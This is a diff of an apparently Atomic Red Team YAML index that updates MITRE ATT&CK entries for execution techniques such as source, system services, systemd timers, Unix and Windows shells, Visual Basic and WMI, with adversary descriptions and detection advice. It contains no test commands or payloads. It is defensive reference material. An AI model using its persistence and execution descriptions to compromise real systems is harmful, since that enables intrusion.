         The <code>source</code> command loads functions into the current shell or executes files in the current context. This built-in command can be run in two different ways <code>source /path/to/filename [arguments]</code> or <code>.**This technique has been deprecated and should no longer be used.** /path/to/filename [arguments]</code>. Take note of the space after the ".". Without a space, a new shell is created that runs the program instead of running the program within the current context. This is often used to make certain features or functions available to a shell or to update a specific shell's environment.(Citation: Source Manual)
 
         Adversaries can abuse this functionality to execute programs. The file executed with this technique does not need to be marked executable beforehand.
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1153
-        url: https://attack.mitre.org/techniques/T1153
-      - source_name: Source Manual
-        url: https://ss64.com/bash/source.html
-        description: ss64. (n.d.). Source or Dot Operator. Retrieved May 21, 2019.
-      object_marking_refs:
-      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      type: attack-pattern
-      kill_chain_phases:
-      - kill_chain_name: mitre-attack
-        phase_name: execution
-      modified: '2020-03-30T13:40:14.512Z'
-      created: '2017-12-14T16:46:06.044Z'
-      x_mitre_deprecated: true
-      x_mitre_is_subtechnique: false
       x_mitre_remote_support: false
-      x_mitre_permissions_required:
-      - User
-      x_mitre_platforms:
-      - Linux
-      - macOS
       x_mitre_detection: Monitor for command shell execution of source and subsequent
         processes that are started as a result of being executed by a source command.
         Adversaries must also drop a file to disk in order to execute it with source,
         and these files can also detected by file monitoring.
-      x_mitre_version: '2.0'
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1153
+        external_id: T1153
+        source_name: mitre-attack
+      - url: https://ss64.com/bash/source.html
+        description: ss64. (n.d.). Source or Dot Operator. Retrieved May 21, 2019.
+        source_name: Source Manual
     atomic_tests: []
   T1569:
     technique:
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1569
-        url: https://attack.mitre.org/techniques/T1569
-      object_marking_refs:
-      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
-      name: System Services
-      description: Adversaries may abuse system services or daemons to execute commands
-        or programs. Adversaries can execute malicious content by interacting with
-        or creating services. Many services are set to run at boot, which can aid
-        in achieving persistence ([Create or Modify System Process](https://attack.mitre.org/techniques/T1543)),
-        but adversaries can also abuse services for one-time or temporary execution.
-      id: attack-pattern--d157f9d2-d09a-4efa-bb2a-64963f94e253
       type: attack-pattern
-      kill_chain_phases:
-      - kill_chain_name: mitre-attack
-        phase_name: execution
-      modified: '2020-06-08T23:28:29.250Z'
-      created: '2020-03-10T18:23:06.482Z'
-      x_mitre_version: '1.0'
-      x_mitre_is_subtechnique: false
-      x_mitre_permissions_required:
-      - User
-      - Administrator
-      - SYSTEM
-      - root
-      x_mitre_detection: Monitor for command line invocations of tools capable of
-        modifying services that doesn’t correspond to normal usage patterns and known
-        software, patch cycles, etc. Also monitor for changes to executables and other
-        files associated with services. Changes to Windows services may also be reflected
-        in the Registry.
+      modified: '2021-10-15T18:40:23.888Z'
+      name: System Services
       x_mitre_data_sources:
       - 'Command: Command Execution'
       - 'Process: Process Creation'
       - 'Service: Service Creation'
       - 'File: File Modification'
       - 'Windows Registry: Windows Registry Key Modification'
+      x_mitre_version: '1.1'
+      created: '2020-03-10T18:23:06.482Z'
+      kill_chain_phases:
+      - kill_chain_name: mitre-attack
+        phase_name: execution
+      x_mitre_permissions_required:
+      - User
+      - Administrator
+      - SYSTEM
+      - root
       x_mitre_platforms:
       - Windows
       - macOS
+      x_mitre_is_subtechnique: false
+      id: attack-pattern--d157f9d2-d09a-4efa-bb2a-64963f94e253
+      description: Adversaries may abuse system services or daemons to execute commands
+        or programs. Adversaries can execute malicious content by interacting with
+        or creating services either locally or remotely. Many services are set to
+        run at boot, which can aid in achieving persistence ([Create or Modify System
+        Process](https://attack.mitre.org/techniques/T1543)), but adversaries can
+        also abuse services for one-time or temporary execution.
+      object_marking_refs:
+      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
+      x_mitre_remote_support: true
+      x_mitre_detection: Monitor for command line invocations of tools capable of
+        modifying services that doesn’t correspond to normal usage patterns and known
+        software, patch cycles, etc. Also monitor for changes to executables and other
+        files associated with services. Changes to Windows services may also be reflected
+        in the Registry.
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1569
+        external_id: T1569
+        source_name: mitre-attack
     atomic_tests: []
   T1053.006:
     technique:
+      object_marking_refs:
+      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
+      type: attack-pattern
+      name: Systemd Timers
+      x_mitre_data_sources:
+      - 'Scheduled Job: Scheduled Job Creation'
+      - 'Command: Command Execution'
+      - 'File: File Modification'
+      - 'Process: Process Creation'
+      x_mitre_version: '1.1'
+      modified: '2021-07-27T16:43:25.027Z'
+      created: '2020-10-12T17:50:31.584Z'
+      x_mitre_contributors:
+      - SarathKumar Rajendran, Trimble Inc
       id: attack-pattern--a542bac9-7bc1-4da7-9a09-96f69e23cc21
+      x_mitre_platforms:
+      - Linux
+      x_mitre_is_subtechnique: true
+      x_mitre_permissions_required:
+      - User
+      - root
       description: |-
-        Adversaries may abuse systemd timers to perform task scheduling for initial or recurring execution of malicious code. Systemd timers are unit files with file extension <code>.timer</code> that control services. Timers can be set to run on a calendar event or after a time span relative to a starting point. They can be used as an alternative to [Cron](https://attack.mitre.org/techniques/T1053/003) in Linux environments.(Citation: archlinux Systemd Timers Aug 2020)
+        Adversaries may abuse systemd timers to perform task scheduling for initial or recurring execution of malicious code. Systemd timers are unit files with file extension <code>.timer</code> that control services. Timers can be set to run on a calendar event or after a time span relative to a starting point. They can be used as an alternative to [Cron](https://attack.mitre.org/techniques/T1053/003) in Linux environments.(Citation: archlinux Systemd Timers Aug 2020) Systemd timers may be activated remotely via the <code>systemctl</code> command line utility, which operates over [SSH](https://attack.mitre.org/techniques/T1021/004).(Citation: Systemd Remote Control)
 
         Each <code>.timer</code> file must have a corresponding <code>.service</code> file with the same name, e.g., <code>example.timer</code> and <code>example.service</code>. <code>.service</code> files are [Systemd Service](https://attack.mitre.org/techniques/T1543/002) unit files that are managed by the systemd system and service manager.(Citation: Linux man-pages: systemd January 2014) Privileged timers are written to <code>/etc/systemd/system/</code> and <code>/usr/lib/systemd/system</code> while user level are written to <code>~/.config/systemd/user/</code>.
 
         An adversary may use systemd timers to execute malicious code at system startup or on a scheduled basis for persistence.(Citation: Arch Linux Package Systemd Compromise BleepingComputer 10JUL2018)(Citation: gist Arch package compromise 10JUL2018)(Citation: acroread package compromised Arch Linux Mail 8JUL2018) Timers installed using privileged paths may be used to maintain root level persistence. Adversaries may also install user level timers to achieve user level persistence.
-      name: Systemd Timers
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
-      object_marking_refs:
-      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1053.006
-        url: https://attack.mitre.org/techniques/T1053/006
-      - source_name: archlinux Systemd Timers Aug 2020
-        url: https://wiki.archlinux.org/index.php/Systemd/Timers
-        description: archlinux. (2020, August 11). systemd/Timers. Retrieved October
-          12, 2020.
-      - source_name: 'Linux man-pages: systemd January 2014'
-        url: http://man7.org/linux/man-pages/man1/systemd.1.html
-        description: Linux man-pages. (2014, January). systemd(1) - Linux manual page.
-          Retrieved April 23, 2019.
-      - description: Catalin Cimpanu. (2018, July 10). Malware Found in Arch Linux
-          AUR Package Repository. Retrieved April 23, 2019.
-        url: https://www.bleepingcomputer.com/news/security/malware-found-in-arch-linux-aur-package-repository/
-        source_name: Arch Linux Package Systemd Compromise BleepingComputer 10JUL2018
-      - description: Catalin Cimpanu. (2018, July 10). ~x file downloaded in public
-          Arch package compromise. Retrieved April 23, 2019.
-        url: https://gist.github.com/campuscodi/74d0d2e35d8fd9499c76333ce027345a
-        source_name: gist Arch package compromise 10JUL2018
-      - description: Eli Schwartz. (2018, June 8). acroread package compromised. Retrieved
-          April 23, 2019.
-        url: https://lists.archlinux.org/pipermail/aur-general/2018-July/034153.html
-        source_name: acroread package compromised Arch Linux Mail 8JUL2018
-      type: attack-pattern
       kill_chain_phases:
       - kill_chain_name: mitre-attack
         phase_name: execution
@@ -67456,28 +69593,42 @@ execution:
         phase_name: persistence
       - kill_chain_name: mitre-attack
         phase_name: privilege-escalation
-      modified: '2020-10-14T15:20:00.754Z'
-      created: '2020-10-12T17:50:31.584Z'
-      x_mitre_platforms:
-      - Linux
-      x_mitre_contributors:
-      - SarathKumar Rajendran, Trimble Inc
-      x_mitre_data_sources:
-      - 'Scheduled Job: Scheduled Job Creation'
-      - 'Command: Command Execution'
-      - 'File: File Modification'
-      - 'Process: Process Creation'
+      x_mitre_remote_support: true
       x_mitre_detection: |-
         Systemd timer unit files may be detected by auditing file creation and modification events within the <code>/etc/systemd/system</code>, <code>/usr/lib/systemd/system/</code>, and <code>~/.config/systemd/user/</code> directories, as well as associated symbolic links. Suspicious processes or scripts spawned in this manner will have a parent process of ‘systemd’, a parent process ID of 1, and will usually execute as the ‘root’ user.
 
         Suspicious systemd timers can also be identified by comparing results against a trusted system baseline. Malicious systemd timers may be detected by using the systemctl utility to examine system wide timers: <code>systemctl list-timers –all</code>. Analyze the contents of corresponding <code>.service</code> files present on the file system and ensure that they refer to legitimate, expected executables.
 
         Audit the execution and command-line arguments of the 'systemd-run' utility as it may be used to create timers.(Citation: archlinux Systemd Timers Aug 2020)
-      x_mitre_permissions_required:
-      - User
-      - root
-      x_mitre_is_subtechnique: true
-      x_mitre_version: '1.0'
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1053/006
+        external_id: T1053.006
+        source_name: mitre-attack
+      - url: https://wiki.archlinux.org/index.php/Systemd/Timers
+        description: archlinux. (2020, August 11). systemd/Timers. Retrieved October
+          12, 2020.
+        source_name: archlinux Systemd Timers Aug 2020
+      - url: https://www.tecmint.com/control-systemd-services-on-remote-linux-server/
+        description: Aaron Kili. (2018, January 16). How to Control Systemd Services
+          on Remote Linux Server. Retrieved July 26, 2021.
+        source_name: Systemd Remote Control
+      - url: http://man7.org/linux/man-pages/man1/systemd.1.html
+        description: Linux man-pages. (2014, January). systemd(1) - Linux manual page.
+          Retrieved April 23, 2019.
+        source_name: 'Linux man-pages: systemd January 2014'
+      - source_name: Arch Linux Package Systemd Compromise BleepingComputer 10JUL2018
+        description: Catalin Cimpanu. (2018, July 10). Malware Found in Arch Linux
+          AUR Package Repository. Retrieved April 23, 2019.
+        url: https://www.bleepingcomputer.com/news/security/malware-found-in-arch-linux-aur-package-repository/
+      - source_name: gist Arch package compromise 10JUL2018
+        description: Catalin Cimpanu. (2018, July 10). ~x file downloaded in public
+          Arch package compromise. Retrieved April 23, 2019.
+        url: https://gist.github.com/campuscodi/74d0d2e35d8fd9499c76333ce027345a
+      - source_name: acroread package compromised Arch Linux Mail 8JUL2018
+        description: Eli Schwartz. (2018, June 8). acroread package compromised. Retrieved
+          April 23, 2019.
+        url: https://lists.archlinux.org/pipermail/aur-general/2018-July/034153.html
       identifier: T1053.006
     atomic_tests:
     - name: Create Systemd Service and Timer
@@ -67592,41 +69743,34 @@ execution:
         name: sh
   T1059.004:
     technique:
+      object_marking_refs:
+      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
+      type: attack-pattern
+      name: Unix Shell
+      x_mitre_data_sources:
+      - 'Command: Command Execution'
+      - 'Process: Process Creation'
+      x_mitre_version: '1.1'
+      modified: '2021-07-26T22:34:43.261Z'
+      created: '2020-03-09T14:15:05.330Z'
+      kill_chain_phases:
+      - kill_chain_name: mitre-attack
+        phase_name: execution
       id: attack-pattern--a9d4b653-6915-42af-98b2-5758c4ceee56
+      x_mitre_platforms:
+      - macOS
+      - Linux
+      x_mitre_is_subtechnique: true
+      x_mitre_permissions_required:
+      - User
+      - root
       description: |-
         Adversaries may abuse Unix shell commands and scripts for execution. Unix shells are the primary command prompt on Linux and macOS systems, though many variations of the Unix shell exist (e.g. sh, bash, zsh, etc.) depending on the specific OS or distribution.(Citation: DieNet Bash)(Citation: Apple ZShell) Unix shells can control every aspect of a system, with certain commands requiring elevated privileges.
 
         Unix shells also support scripts that enable sequential execution of commands as well as other typical programming operations such as conditionals and loops. Common uses of shell scripts include long or repetitive tasks, or the need to run the same set of commands on multiple systems.
 
         Adversaries may abuse Unix shells to execute various commands or payloads. Interactive shells may be accessed through command and control channels or during lateral movement such as with [SSH](https://attack.mitre.org/techniques/T1021/004). Adversaries may also leverage shell scripts to deliver and execute multiple commands on victims or as part of payloads used for persistence.
-      name: Unix Shell
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
-      object_marking_refs:
-      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1059.004
-        url: https://attack.mitre.org/techniques/T1059/004
-      - source_name: DieNet Bash
-        url: https://linux.die.net/man/1/bash
-        description: die.net. (n.d.). bash(1) - Linux man page. Retrieved June 12,
-          2020.
-      - source_name: Apple ZShell
-        url: https://support.apple.com/HT208050
-        description: Apple. (2020, January 28). Use zsh as the default shell on your
-          Mac. Retrieved June 12, 2020.
-      type: attack-pattern
-      kill_chain_phases:
-      - kill_chain_name: mitre-attack
-        phase_name: execution
-      modified: '2020-06-15T16:55:44.483Z'
-      created: '2020-03-09T14:15:05.330Z'
-      x_mitre_platforms:
-      - macOS
-      - Linux
-      x_mitre_data_sources:
-      - 'Command: Command Execution'
-      - 'Process: Process Creation'
+      x_mitre_remote_support: true
       x_mitre_detection: "Unix shell usage may be common on administrator, developer,
         or power user systems, depending on job function. If scripting is restricted
         for normal users, then any attempt to enable scripts running on a system would
@@ -67640,11 +69784,19 @@ execution:
         to network and system information discovery, collection, or other scriptable
         post-compromise behaviors and could be used as indicators of detection leading
         back to the source script. "
-      x_mitre_permissions_required:
-      - User
-      - root
-      x_mitre_is_subtechnique: true
-      x_mitre_version: '1.0'
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1059/004
+        external_id: T1059.004
+        source_name: mitre-attack
+      - url: https://linux.die.net/man/1/bash
+        description: die.net. (n.d.). bash(1) - Linux man page. Retrieved June 12,
+          2020.
+        source_name: DieNet Bash
+      - url: https://support.apple.com/HT208050
+        description: Apple. (2020, January 28). Use zsh as the default shell on your
+          Mac. Retrieved June 12, 2020.
+        source_name: Apple ZShell
       identifier: T1059.004
     atomic_tests:
     - name: Create and Execute Bash Shell Script
@@ -67758,24 +69910,8 @@ execution:
     technique:
       object_marking_refs:
       - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1204
-        url: https://attack.mitre.org/techniques/T1204
-      description: |-
-        An adversary may rely upon specific actions by a user in order to gain execution. Users may be subjected to social engineering to get them to execute malicious code by, for example, opening a malicious document file or link. These user actions will typically be observed as follow-on behavior from forms of [Phishing](https://attack.mitre.org/techniques/T1566).
-
-        While [User Execution](https://attack.mitre.org/techniques/T1204) frequently occurs shortly after Initial Access it may occur at other phases of an intrusion, such as when an adversary places a file in a shared directory or on a user's desktop hoping that a user will click on it. This activity may also be seen shortly after [Internal Spearphishing](https://attack.mitre.org/techniques/T1534).
-      name: User Execution
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
-      id: attack-pattern--8c32eb4d-805f-4fc5-bf60-c4d476c131b5
       type: attack-pattern
-      kill_chain_phases:
-      - kill_chain_name: mitre-attack
-        phase_name: execution
-      modified: '2021-04-20T16:34:09.236Z'
-      created: '2018-04-18T17:59:24.739Z'
-      x_mitre_version: '1.3'
+      name: User Execution
       x_mitre_data_sources:
       - 'Application Log: Application Log Content'
       - 'Instance: Instance Start'
@@ -67788,84 +69924,100 @@ execution:
       - 'Network Traffic: Network Traffic Content'
       - 'File: File Creation'
       - 'Process: Process Creation'
-      x_mitre_detection: |-
-        Monitor the execution of and command-line arguments for applications that may be used by an adversary to gain Initial Access that require user interaction. This includes compression applications, such as those for zip files, that can be used to [Deobfuscate/Decode Files or Information](https://attack.mitre.org/techniques/T1140) in payloads.
-
-        Anti-virus can potentially detect malicious documents and files that are downloaded and executed on the user's computer. Endpoint sensing or network sensing can potentially detect malicious events once the file is opened (such as a Microsoft Word document or PDF reaching out to the internet or spawning powershell.exe).
-      x_mitre_permissions_required:
-      - User
+      x_mitre_version: '1.4'
+      modified: '2021-08-26T16:42:35.936Z'
+      created: '2018-04-18T17:59:24.739Z'
+      kill_chain_phases:
+      - kill_chain_name: mitre-attack
+        phase_name: execution
+      id: attack-pattern--8c32eb4d-805f-4fc5-bf60-c4d476c131b5
       x_mitre_platforms:
       - Linux
       - Windows
       - macOS
       - IaaS
       - Containers
+      x_mitre_is_subtechnique: false
+      x_mitre_permissions_required:
+      - User
+      description: |-
+        An adversary may rely upon specific actions by a user in order to gain execution. Users may be subjected to social engineering to get them to execute malicious code by, for example, opening a malicious document file or link. These user actions will typically be observed as follow-on behavior from forms of [Phishing](https://attack.mitre.org/techniques/T1566).
+
+        While [User Execution](https://attack.mitre.org/techniques/T1204) frequently occurs shortly after Initial Access it may occur at other phases of an intrusion, such as when an adversary places a file in a shared directory or on a user's desktop hoping that a user will click on it. This activity may also be seen shortly after [Internal Spearphishing](https://attack.mitre.org/techniques/T1534).
       x_mitre_contributors:
       - Oleg Skulkin, Group-IB
-      x_mitre_is_subtechnique: false
+      x_mitre_detection: |-
+        Monitor the execution of and command-line arguments for applications that may be used by an adversary to gain Initial Access that require user interaction. This includes compression applications, such as those for zip files, that can be used to [Deobfuscate/Decode Files or Information](https://attack.mitre.org/techniques/T1140) in payloads.
+
+        Anti-virus can potentially detect malicious documents and files that are downloaded and executed on the user's computer. Endpoint sensing or network sensing can potentially detect malicious events once the file is opened (such as a Microsoft Word document or PDF reaching out to the internet or spawning powershell.exe).
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1204
+        external_id: T1204
+        source_name: mitre-attack
     atomic_tests: []
   T1059.005:
     technique:
-      created: '2020-03-09T14:29:51.508Z'
-      modified: '2020-08-13T20:09:39.122Z'
-      kill_chain_phases:
-      - kill_chain_name: mitre-attack
-        phase_name: execution
       type: attack-pattern
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1059.005
-        url: https://attack.mitre.org/techniques/T1059/005
-      - source_name: VB .NET Mar 2020
-        url: https://devblogs.microsoft.com/vbteam/visual-basic-support-planned-for-net-5-0/
-        description: ".NET Team. (2020, March 11). Visual Basic support planned for
-          .NET 5.0. Retrieved June 23, 2020."
-      - source_name: VB Microsoft
-        url: https://docs.microsoft.com/dotnet/visual-basic/
-        description: Microsoft. (n.d.). Visual Basic documentation. Retrieved June
-          23, 2020.
-      - source_name: Microsoft VBA
-        url: https://docs.microsoft.com/office/vba/api/overview/
-        description: Microsoft. (2019, June 11). Office VBA Reference. Retrieved June
-          23, 2020.
-      - source_name: Wikipedia VBA
-        url: https://en.wikipedia.org/wiki/Visual_Basic_for_Applications
-        description: Wikipedia. (n.d.). Visual Basic for Applications. Retrieved August
-          13, 2020.
-      - source_name: Microsoft VBScript
-        url: https://docs.microsoft.com/previous-versions//1kw29xwf(v=vs.85)
-        description: Microsoft. (2011, April 19). What Is VBScript?. Retrieved March
-          28, 2020.
-      object_marking_refs:
-      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      modified: '2021-08-16T21:03:21.051Z'
       name: Visual Basic
+      x_mitre_data_sources:
+      - 'Command: Command Execution'
+      - 'Process: Process Creation'
+      - 'Module: Module Load'
+      - 'Script: Script Execution'
+      x_mitre_version: '1.2'
+      created: '2020-03-09T14:29:51.508Z'
+      x_mitre_permissions_required:
+      - User
+      - Administrator
+      - SYSTEM
+      x_mitre_platforms:
+      - Windows
+      - macOS
+      - Linux
+      x_mitre_is_subtechnique: true
+      id: attack-pattern--dfd7cc1d-e1d8-4394-a198-97c4cab8aa67
       description: |-
         Adversaries may abuse Visual Basic (VB) for execution. VB is a programming language created by Microsoft with interoperability with many Windows technologies such as [Component Object Model](https://attack.mitre.org/techniques/T1559/001) and the [Native API](https://attack.mitre.org/techniques/T1106) through the Windows API. Although tagged as legacy with no planned future evolutions, VB is integrated and supported in the .NET Framework and cross-platform .NET Core.(Citation: VB .NET Mar 2020)(Citation: VB Microsoft)
 
         Derivative languages based on VB have also been created, such as Visual Basic for Applications (VBA) and VBScript. VBA is an event-driven programming language built into Microsoft Office, as well as several third-party applications.(Citation: Microsoft VBA)(Citation: Wikipedia VBA) VBA enables documents to contain macros used to automate the execution of tasks and other functionality on the host. VBScript is a default scripting language on Windows hosts and can also be used in place of [JavaScript](https://attack.mitre.org/techniques/T1059/007) on HTML Application (HTA) webpages served to Internet Explorer (though most modern browsers do not come with VBScript support).(Citation: Microsoft VBScript)
 
         Adversaries may use VB payloads to execute malicious commands. Common malicious usage includes automating execution of behaviors with VBScript or embedding VBA content into [Spearphishing Attachment](https://attack.mitre.org/techniques/T1566/001) payloads.
-      id: attack-pattern--dfd7cc1d-e1d8-4394-a198-97c4cab8aa67
-      x_mitre_version: '1.1'
-      x_mitre_is_subtechnique: true
-      x_mitre_permissions_required:
-      - User
-      - Administrator
-      - SYSTEM
+      object_marking_refs:
+      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
+      kill_chain_phases:
+      - kill_chain_name: mitre-attack
+        phase_name: execution
       x_mitre_detection: |-
         Monitor for events associated with VB execution, such as Office applications spawning processes, usage of the Windows Script Host (typically cscript.exe or wscript.exe), file activity involving VB payloads or scripts, or loading of modules associated with VB languages (ex: vbscript.dll). VB execution is likely to perform actions with various effects on a system that may generate events, depending on the types of monitoring used. Monitor processes and command-line arguments for execution and subsequent behavior. Actions may be related to network and system information [Discovery](https://attack.mitre.org/tactics/TA0007), [Collection](https://attack.mitre.org/tactics/TA0009), or other programable post-compromise behaviors and could be used as indicators of detection leading back to the source.
 
         Understanding standard usage patterns is important to avoid a high number of false positives. If VB execution is restricted for normal users, then any attempts to enable related components running on a system would be considered suspicious. If VB execution is not commonly used on a system, but enabled, execution running out of cycle from patching or other administrator functions is suspicious. Payloads and scripts should be captured from the file system when possible to determine their actions and intent.
-      x_mitre_data_sources:
-      - 'Command: Command Execution'
-      - 'Process: Process Creation'
-      - 'Module: Module Load'
-      - 'Script: Script Execution'
-      x_mitre_platforms:
-      - Windows
-      - macOS
-      - Linux
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1059/005
+        external_id: T1059.005
+        source_name: mitre-attack
+      - url: https://devblogs.microsoft.com/vbteam/visual-basic-support-planned-for-net-5-0/
+        description: ".NET Team. (2020, March 11). Visual Basic support planned for
+          .NET 5.0. Retrieved June 23, 2020."
+        source_name: VB .NET Mar 2020
+      - url: https://docs.microsoft.com/dotnet/visual-basic/
+        description: Microsoft. (n.d.). Visual Basic documentation. Retrieved June
+          23, 2020.
+        source_name: VB Microsoft
+      - url: https://docs.microsoft.com/office/vba/api/overview/
+        description: Microsoft. (2019, June 11). Office VBA Reference. Retrieved June
+          23, 2020.
+        source_name: Microsoft VBA
+      - url: https://en.wikipedia.org/wiki/Visual_Basic_for_Applications
+        description: Wikipedia. (n.d.). Visual Basic for Applications. Retrieved August
+          13, 2020.
+        source_name: Wikipedia VBA
+      - url: https://docs.microsoft.com/previous-versions//1kw29xwf(v=vs.85)
+        description: Microsoft. (2011, April 19). What Is VBScript?. Retrieved March
+          28, 2020.
+        source_name: Microsoft VBScript
       identifier: T1059.005
     atomic_tests:
     - name: Visual Basic script execution to gather local computer information
@@ -67969,46 +70121,45 @@ execution:
         name: powershell
   T1059.003:
     technique:
-      created: '2020-03-09T14:12:31.196Z'
-      modified: '2021-04-14T15:36:02.195Z'
-      kill_chain_phases:
-      - kill_chain_name: mitre-attack
-        phase_name: execution
       type: attack-pattern
-      id: attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62
-      description: "Adversaries may abuse the Windows command shell for execution.
-        The Windows command shell ([cmd](https://attack.mitre.org/software/S0106))
-        is the primary command prompt on Windows systems. The Windows command prompt
-        can be used to control almost any aspect of a system, with various permission
-        levels required for different subsets of commands. \n\nBatch files (ex: .bat
-        or .cmd) also provide the shell with a list of sequential commands to run,
-        as well as normal scripting operations such as conditionals and loops. Common
-        uses of batch files include long or repetitive tasks, or the need to run the
-        same set of commands on multiple systems.\n\nAdversaries may leverage [cmd](https://attack.mitre.org/software/S0106)
-        to execute various commands and payloads. Common uses include [cmd](https://attack.mitre.org/software/S0106)
-        to execute a single command, or abusing [cmd](https://attack.mitre.org/software/S0106)
-        interactively with input and output forwarded over a command and control channel."
+      modified: '2021-07-26T17:13:07.345Z'
       name: Windows Command Shell
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
-      object_marking_refs:
-      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1059.003
-        url: https://attack.mitre.org/techniques/T1059/003
-      x_mitre_platforms:
-      - Windows
       x_mitre_data_sources:
       - 'Command: Command Execution'
       - 'Process: Process Creation'
+      x_mitre_version: '1.2'
+      created: '2020-03-09T14:12:31.196Z'
+      kill_chain_phases:
+      - kill_chain_name: mitre-attack
+        phase_name: execution
+      x_mitre_permissions_required:
+      - User
+      x_mitre_platforms:
+      - Windows
+      x_mitre_is_subtechnique: true
+      id: attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62
+      description: |-
+        Adversaries may abuse the Windows command shell for execution. The Windows command shell ([cmd](https://attack.mitre.org/software/S0106)) is the primary command prompt on Windows systems. The Windows command prompt can be used to control almost any aspect of a system, with various permission levels required for different subsets of commands. The command prompt can be invoked remotely via [Remote Services](https://attack.mitre.org/techniques/T1021) such as [SSH](https://attack.mitre.org/techniques/T1021/004).(Citation: SSH in Windows)
+
+        Batch files (ex: .bat or .cmd) also provide the shell with a list of sequential commands to run, as well as normal scripting operations such as conditionals and loops. Common uses of batch files include long or repetitive tasks, or the need to run the same set of commands on multiple systems.
+
+        Adversaries may leverage [cmd](https://attack.mitre.org/software/S0106) to execute various commands and payloads. Common uses include [cmd](https://attack.mitre.org/software/S0106) to execute a single command, or abusing [cmd](https://attack.mitre.org/software/S0106) interactively with input and output forwarded over a command and control channel.
+      object_marking_refs:
+      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
+      x_mitre_remote_support: true
       x_mitre_detection: |-
         Usage of the Windows command shell may be common on administrator, developer, or power user systems depending on job function. If scripting is restricted for normal users, then any attempt to enable scripts running on a system would be considered suspicious. If scripts are not commonly used on a system, but enabled, scripts running out of cycle from patching or other administrator functions are suspicious. Scripts should be captured from the file system when possible to determine their actions and intent.
 
         Scripts are likely to perform actions with various effects on a system that may generate events, depending on the types of monitoring used. Monitor processes and command-line arguments for script execution and subsequent behavior. Actions may be related to network and system information Discovery, Collection, or other scriptable post-compromise behaviors and could be used as indicators of detection leading back to the source script.
-      x_mitre_permissions_required:
-      - User
-      x_mitre_is_subtechnique: true
-      x_mitre_version: '1.1'
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1059/003
+        external_id: T1059.003
+        source_name: mitre-attack
+      - url: https://docs.microsoft.com/en-us/windows/terminal/tutorials/ssh
+        description: 'Microsoft. (2020, May 19). Tutorial: SSH in Windows Terminal.
+          Retrieved July 26, 2021.'
+        source_name: SSH in Windows
       identifier: T1059.003
     atomic_tests:
     - name: Create and Execute Batch Script
@@ -68134,67 +70285,56 @@ execution:
         name: powershell
   T1047:
     technique:
-      id: attack-pattern--01a5a209-b94c-450b-b7f9-946497d91055
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
-      name: Windows Management Instrumentation
-      description: |-
-        Adversaries may abuse Windows Management Instrumentation (WMI) to achieve execution. WMI is a Windows administration feature that provides a uniform environment for local and remote access to Windows system components. It relies on the WMI service for local and remote access and the server message block (SMB) (Citation: Wikipedia SMB) and Remote Procedure Call Service (RPCS) (Citation: TechNet RPC) for remote access. RPCS operates over port 135. (Citation: MSDN WMI)
-
-        An adversary can use WMI to interact with local and remote systems and use it as a means to perform many tactic functions, such as gathering information for Discovery and remote Execution of files as part of Lateral Movement. (Citation: FireEye WMI SANS 2015) (Citation: FireEye WMI 2015)
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1047
-        url: https://attack.mitre.org/techniques/T1047
-      - url: https://en.wikipedia.org/wiki/Server_Message_Block
-        description: Wikipedia. (2016, June 12). Server Message Block. Retrieved June
-          12, 2016.
-        source_name: Wikipedia SMB
-      - url: https://technet.microsoft.com/en-us/library/cc787851.aspx
-        description: Microsoft. (2003, March 28). What Is RPC?. Retrieved June 12,
-          2016.
-        source_name: TechNet RPC
-      - url: https://msdn.microsoft.com/en-us/library/aa394582.aspx
-        description: Microsoft. (n.d.). Windows Management Instrumentation. Retrieved
-          April 27, 2016.
-        source_name: MSDN WMI
-      - source_name: FireEye WMI SANS 2015
-        url: https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/sans-dfir-2015.pdf
-        description: Devon Kerr. (2015). There's Something About WMI. Retrieved May
-          4, 2020.
